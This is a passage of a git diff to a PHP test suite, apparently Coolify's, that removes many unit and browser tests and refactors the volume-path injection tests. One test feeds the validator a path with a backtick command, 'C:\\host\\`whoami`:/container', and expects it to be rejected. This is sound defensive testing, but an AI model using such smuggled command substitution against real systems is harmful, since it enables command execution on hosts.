-configuration_dir = '/data/coolify/databases/test-uuid';
- $action->commands = [];
-
- $database = Mockery::mock(StandaloneRedis::class)->makePartial();
- $database->shouldReceive('getAttribute')->with('redis_conf')->andReturn('maxmemory 2gb');
- $action->database = $database;
-
- // Simulate the chown logic from handle()
- if (! is_null($action->database->redis_conf) && ! empty($action->database->redis_conf)) {
- $action->commands[] = "chown 999:999 {$action->configuration_dir}/redis.conf";
- }
-
- expect($action->commands)->toContain('chown 999:999 /data/coolify/databases/test-uuid/redis.conf');
-});
-
-test('redis config chown command is not added when redis_conf is null', function () {
- $action = new StartRedis;
- $action->configuration_dir = '/data/coolify/databases/test-uuid';
- $action->commands = [];
-
- $database = Mockery::mock(StandaloneRedis::class)->makePartial();
- $database->shouldReceive('getAttribute')->with('redis_conf')->andReturn(null);
- $action->database = $database;
-
- if (! is_null($action->database->redis_conf) && ! empty($action->database->redis_conf)) {
- $action->commands[] = "chown 999:999 {$action->configuration_dir}/redis.conf";
- }
-
- expect($action->commands)->toBeEmpty();
-});
-
-test('redis config chown command is not added when redis_conf is empty', function () {
- $action = new StartRedis;
- $action->configuration_dir = '/data/coolify/databases/test-uuid';
- $action->commands = [];
-
- $database = Mockery::mock(StandaloneRedis::class)->makePartial();
- $database->shouldReceive('getAttribute')->with('redis_conf')->andReturn('');
- $action->database = $database;
-
- if (! is_null($action->database->redis_conf) && ! empty($action->database->redis_conf)) {
- $action->commands[] = "chown 999:999 {$action->configuration_dir}/redis.conf";
- }
-
- expect($action->commands)->toBeEmpty();
-});
diff --git a/tests/Unit/StartSentinelEndpointFallbackTest.php b/tests/Unit/StartSentinelEndpointFallbackTest.php
deleted file mode 100644
index 7dde0e2c9f..0000000000
--- a/tests/Unit/StartSentinelEndpointFallbackTest.php
+++ /dev/null
@@ -1,50 +0,0 @@
-toContain('ensureSentinelUrl()')
- ->and($component)
- ->toContain('$this->sentinelCustomUrl = $this->server->settings->sentinel_custom_url;')
- ->and(file_get_contents(dirname(__DIR__, 2).'/app/Models/ServerSetting.php'))
- ->toContain('generateSentinelUrl(ignoreEvent: true)')
- ->toContain('sentinelUrlFromCurrentRequest()')
- ->toContain('Set an instance FQDN, public IP, or reachable Coolify URL before enabling Sentinel.')
- ->and($component)
- ->toContain('$this->sentinelCustomUrl = $this->server->settings->sentinel_custom_url;');
-});
-
-test('sentinel startup allows legacy metrics migrations to finish before health checks fail', function () {
- $action = file_get_contents(dirname(__DIR__, 2).'/app/Actions/Server/StartSentinel.php');
-
- expect($action)->toContain('--health-start-period 120s');
-});
-
-test('local sentinel joins the Coolify network and waits for an authenticated push before becoming live', function () {
- $action = file_get_contents(dirname(__DIR__, 2).'/app/Actions/Server/StartSentinel.php');
-
- expect($action)
- ->toContain('--network coolify')
- ->toContain('sentinelHeartbeat(isReset: true)')
- ->toContain("sentinel_waiting_since' => now()")
- ->not->toContain('$server->sentinelHeartbeat();');
-});
-
-test('sentinel removes its temporary token on startup success and failure', function () {
- $source = file_get_contents(dirname(__DIR__, 2).'/app/Actions/Server/StartSentinel.php');
- preg_match("/'sh -ec '\\.escapeshellarg\\(implode\\(\\\"\\\\n\\\", \\[(.*?)\\]\\)\\)/s", $source, $match);
- expect($match)->toHaveCount(2);
- foreach (['true', 'false'] as $dockerCommand) {
- $envFile = tempnam(sys_get_temp_dir(), 'sentinel-token-');
- $envFileContent = 'TOKEN=test';
- $commands = eval('return ['.$match[1].'];');
- $process = new Process(['sh', '-ec', implode("\n", $commands)]);
- $process->run();
- expect($process->getExitCode())->toBe($dockerCommand === 'true' ? 0 : 1);
- expect(file_exists($envFile))->toBeFalse();
- }
-});
diff --git a/tests/Unit/StopDatabaseTypesTest.php b/tests/Unit/StopDatabaseTypesTest.php
deleted file mode 100644
index 0295b0c956..0000000000
--- a/tests/Unit/StopDatabaseTypesTest.php
+++ /dev/null
@@ -1,12 +0,0 @@
-getReturnType()?->getName())->toBe('string')
- ->and($stopContainer->getParameters()[0]->getType()?->getName())->toBe(BaseModel::class);
-});
diff --git a/tests/Unit/UpgradePostgresScriptTest.php b/tests/Unit/UpgradePostgresScriptTest.php
index 2821fb3b3d..0afe09c9b3 100644
--- a/tests/Unit/UpgradePostgresScriptTest.php
+++ b/tests/Unit/UpgradePostgresScriptTest.php
@@ -132,15 +132,3 @@ it('persists rollback metadata and exposes a rollback command', function () {
->toContain('rollback_postgres()')
->toContain('Rollback completed successfully.');
});
-
-it('detects the active postgres volume instead of assuming coolify-db', function () {
- $script = file_get_contents(getcwd().'/scripts/upgrade-postgres.sh');
-
- expect($script)
- ->toContain('current_postgres_mount_name()')
- ->toContain('current_postgres_mount_path()')
- ->toContain('current_postgres_image()')
- ->toContain('Current active volume: ${PREVIOUS_VOLUME}')
- ->toContain("Previous volume '")
- ->toContain('will be kept for rollback');
-});
diff --git a/tests/Unit/WindowsPathVolumeTest.php b/tests/Unit/WindowsPathVolumeTest.php
index 1d3af6abd0..0f42fd143e 100644
--- a/tests/Unit/WindowsPathVolumeTest.php
+++ b/tests/Unit/WindowsPathVolumeTest.php
@@ -12,18 +12,14 @@ test('parseDockerVolumeString correctly handles Windows paths with drive letters
test('validateVolumeStringForInjection correctly handles Windows paths via parseDockerVolumeString', function () {
$windowsVolume = 'C:\\Users\\Data:/app/data';
- // Should not throw an exception
- validateVolumeStringForInjection($windowsVolume);
-
- // If we get here, the test passed
- expect(true)->toBeTrue();
+ expect(fn () => validateVolumeStringForInjection($windowsVolume))->not->toThrow(Exception::class);
});
test('validateVolumeStringForInjection rejects malicious Windows-like paths', function () {
$maliciousVolume = 'C:\\host\\`whoami`:/container';
expect(fn () => validateVolumeStringForInjection($maliciousVolume))
- ->toThrow(\Exception::class);
+ ->toThrow(Exception::class);
});
test('validateDockerComposeForInjection handles Windows paths in compose files', function () {
@@ -35,10 +31,7 @@ services:
- C:\Users\Data:/app/data
YAML;
- // Should not throw an exception
- validateDockerComposeForInjection($dockerComposeYaml);
-
- expect(true)->toBeTrue();
+ expect(fn () => validateDockerComposeForInjection($dockerComposeYaml))->not->toThrow(Exception::class);
});
test('validateDockerComposeForInjection rejects Windows paths with injection', function () {
@@ -51,7 +44,7 @@ services:
YAML;
expect(fn () => validateDockerComposeForInjection($dockerComposeYaml))
- ->toThrow(\Exception::class);
+ ->toThrow(Exception::class);
});
test('Windows paths with complex paths and spaces are handled correctly', function () {
diff --git a/tests/v4/Browser/ApplicationConfigurationTest.php b/tests/v4/Browser/ApplicationConfigurationTest.php
index b390870633..49f0349fb1 100644
--- a/tests/v4/Browser/ApplicationConfigurationTest.php
+++ b/tests/v4/Browser/ApplicationConfigurationTest.php
@@ -20,28 +20,6 @@ beforeEach(function () {
]);
});
-it('shows application configuration sections and navigation', function () {
- loginAndSkipBoarding();
-
- $url = applicationConfigurationUrl(
- $this->stack['project'],
- $this->stack['environment'],
- $this->application
- );
-
- $page = visit($url);
-
- $page->assertSee('Config App')
- ->assertSee('General')
- ->assertSee('Environment Variables')
- ->assertSee('Danger Zone')
- ->assertSee('Application details')
- ->assertSee('Internal access')
- ->assertSee('Docker network')
- ->assertSee('Build & deploy')
- ->screenshot(filename: 'application-configuration-overview');
-});
-
it('keeps the PR suffix listbox visible outside the volumes table while scrolling', function () {
foreach (range(1, 8) as $index) {
LocalPersistentVolume::create([
@@ -308,40 +286,6 @@ it('restores the default file location when the field is cleared', function (str
'Docker Compose' => ['dockercompose', 'docker_compose_location', '/docker-compose.yaml'],
]);
-it('opens environment variables page for the application', function () {
- loginAndSkipBoarding();
-
- $base = applicationConfigurationUrl(
- $this->stack['project'],
- $this->stack['environment'],
- $this->application
- );
-
- $page = visit("{$base}/environment-variables");
-
- $page->assertSee('Environment Variables')
- ->assertSee('Config App')
- ->screenshot(filename: 'application-environment-variables');
-});
-
-it('opens advanced and healthcheck configuration pages', function () {
- loginAndSkipBoarding();
-
- $base = applicationConfigurationUrl(
- $this->stack['project'],
- $this->stack['environment'],
- $this->application
- );
-
- visit("{$base}/advanced")
- ->assertSee('Config App')
- ->screenshot(filename: 'application-advanced');
-
- visit("{$base}/healthcheck")
- ->assertSee('Config App')
- ->screenshot(filename: 'application-healthcheck');
-});
-
it('lists the application on the environment resources page', function () {
loginAndSkipBoarding();
@@ -354,22 +298,6 @@ it('lists the application on the environment resources page', function () {
->screenshot(filename: 'environment-lists-application');
});
-it('shows danger zone for application deletion', function () {
- loginAndSkipBoarding();
-
- $base = applicationConfigurationUrl(
- $this->stack['project'],
- $this->stack['environment'],
- $this->application
- );
-
- $page = visit("{$base}/danger");
-
- $page->assertSee('Danger')
- ->assertSee('Config App')
- ->screenshot(filename: 'application-danger-zone');
-});
-
it('uses compact application domains with unified settings and a form save button', function () {
config()->set('app.maintenance.store', 'array');
InstanceSettings::find(0)->update(['is_dns_validation_enabled' => false]);
diff --git a/tests/v4/Browser/AuthorizationTest.php b/tests/v4/Browser/AuthorizationTest.php
index e02f3e2977..8900827d15 100644
--- a/tests/v4/Browser/AuthorizationTest.php
+++ b/tests/v4/Browser/AuthorizationTest.php
@@ -73,15 +73,6 @@ it('redirects unauthenticated users to login', function () {
->screenshot();
});
-it('shows dashboard after successful login and onboarding skip', function () {
- $page = loginAndSkipBoarding();
-
- $page->assertSee('Dashboard')
- ->assertSee('Projects')
- ->assertSee('Servers')
- ->screenshot();
-});
-
it('displays all projects on dashboard', function () {
$page = loginAndSkipBoarding();
diff --git a/tests/v4/Browser/DatabaseConfigurationTest.php b/tests/v4/Browser/DatabaseConfigurationTest.php
index 11a6c01fe8..b07c3eb48a 100644
--- a/tests/v4/Browser/DatabaseConfigurationTest.php
+++ b/tests/v4/Browser/DatabaseConfigurationTest.php
@@ -68,39 +68,6 @@ it('saves postgres name description and credentials fields', function () {
->screenshot(filename: 'database-postgres-after-reload');
});
-it('shows ssl controls on postgres configuration', function () {
- loginAndSkipBoarding();
-
- $url = databaseConfigurationUrl(
- $this->stack['project'],
- $this->stack['environment'],
- $this->postgres
- );
-
- $page = visit($url);
- // SSL toggle is present; mode selector appears after enabling SSL.
- $page->assertSee('General')
- ->assertSee('Config Postgres')
- ->screenshot(filename: 'database-postgres-ssl-controls');
-
- $page->script(<<<'JS'
- (() => {
- const toggle = document.querySelector('[id^="enableSsl"]');
- if (toggle) {
- toggle.click();
- }
- })()
- JS);
- $page->wait(2);
-
- $this->postgres->refresh();
- if ($this->postgres->enable_ssl) {
- $page->assertSee('SSL Mode');
- }
-
- $page->screenshot(filename: 'database-postgres-ssl-after-toggle');
-});
-
it('shows redis configuration page', function () {
loginAndSkipBoarding();
diff --git a/tests/v4/Browser/ProjectAndServerTest.php b/tests/v4/Browser/ProjectAndServerTest.php
index c83e4c48fa..de7d432e88 100644
--- a/tests/v4/Browser/ProjectAndServerTest.php
+++ b/tests/v4/Browser/ProjectAndServerTest.php
@@ -92,20 +92,6 @@ it('shows server configuration page for owner', function () {
->screenshot(filename: 'core-server-configuration');
});
-it('shows team general and members pages', function () {
- loginAndSkipBoarding();
-
- visit('/team')
- ->assertSee('General')
- ->assertSee('Danger Zone')
- ->screenshot(filename: 'core-team-general');
-
- visit('/team/members')
- ->assertSee('Members')
- ->assertSee('Invite a member')
- ->screenshot(filename: 'core-team-members');
-});
-
it('shows projects index', function () {
loginAndSkipBoarding();
diff --git a/tests/v4/Browser/RegistrationTest.php b/tests/v4/Browser/RegistrationTest.php
index ca4b5e71fd..254362f839 100644
--- a/tests/v4/Browser/RegistrationTest.php
+++ b/tests/v4/Browser/RegistrationTest.php
@@ -45,30 +45,6 @@ it('can register a new root user', function () {
expect(User::where('email', 'root@example.com')->exists())->toBeTrue();
});
-it('fails registration with mismatched passwords', function () {
- $page = visit('/register');
-
- $page->fill('name', 'Test User')
- ->fill('email', 'root@example.com')
- ->fill('password', 'Password1!@')
- ->fill('password_confirmation', 'DifferentPass1!@')
- ->click('Create account')
- ->assertSee('password')
- ->screenshot(filename: 'registration-password-mismatch');
-});
-
-it('fails registration with weak password', function () {
- $page = visit('/register');
-
- $page->fill('name', 'Test User')
- ->fill('email', 'root@example.com')
- ->fill('password', 'short')
- ->fill('password_confirmation', 'short')
- ->click('Create account')
- ->assertSee('password')
- ->screenshot(filename: 'registration-weak-password');
-});
-
it('shows login link when a user already exists', function () {
createBrowserRootUser();
diff --git a/tests/v4/Browser/ServiceConfigurationTest.php b/tests/v4/Browser/ServiceConfigurationTest.php
index d818573a80..f31875f98a 100644
--- a/tests/v4/Browser/ServiceConfigurationTest.php
+++ b/tests/v4/Browser/ServiceConfigurationTest.php
@@ -74,28 +74,6 @@ it('saves service name and description', function () {
->screenshot(filename: 'service-after-reload');
});
-it('opens service environment variables domains and storages pages', function () {
- loginAndSkipBoarding();
-
- $base = serviceConfigurationUrl(
- $this->stack['project'],
- $this->stack['environment'],
- $this->service
- );
-
- visit("{$base}/environment-variables")
- ->assertSee('Environment Variables')
- ->screenshot(filename: 'service-environment-variables');
-
- visit("{$base}/domains")
- ->assertSee('Config Service')
- ->screenshot(filename: 'service-domains');
-
- visit("{$base}/storages")
- ->assertSee('Config Service')
- ->screenshot(filename: 'service-storages');
-});
-
it('renders an automatically added redirect counterpart without reloading', function () {
$this->serviceApplication->update([
'fqdn' => 'https://web.example.com',
@@ -151,21 +129,6 @@ it('renders an automatically added redirect counterpart without reloading', func
$page->screenshot(filename: 'service-domain-remove-without-reload');
});
-it('opens compose stack application general settings', function () {
- loginAndSkipBoarding();
-
- $project = $this->stack['project'];
- $environment = $this->stack['environment'];
- $service = $this->service;
- $stackUuid = $this->serviceApplication->uuid;
-
- $page = visit("/project/{$project->uuid}/environment/{$environment->uuid}/service/{$service->uuid}/{$stackUuid}");
-
- $page->assertSee('web')
- ->assertSee('General')
- ->screenshot(filename: 'service-stack-application-general');
-});
-
it('lists the service on the environment resources page', function () {
loginAndSkipBoarding();
@@ -177,21 +140,6 @@ it('lists the service on the environment resources page', function () {
->screenshot(filename: 'environment-lists-service');
});
-it('shows service danger zone', function () {
- loginAndSkipBoarding();
-
- $base = serviceConfigurationUrl(
- $this->stack['project'],
- $this->stack['environment'],
- $this->service
- );
-
- visit("{$base}/danger")
- ->assertSee('Danger')
- ->assertSee('Config Service')
- ->screenshot(filename: 'service-danger-zone');
-});
-
it('keeps domain settings out of the overview and supports editing and removal', function () {
config()->set('app.maintenance.store', 'array');
InstanceSettings::find(0)->update(['is_dns_validation_enabled' => false]);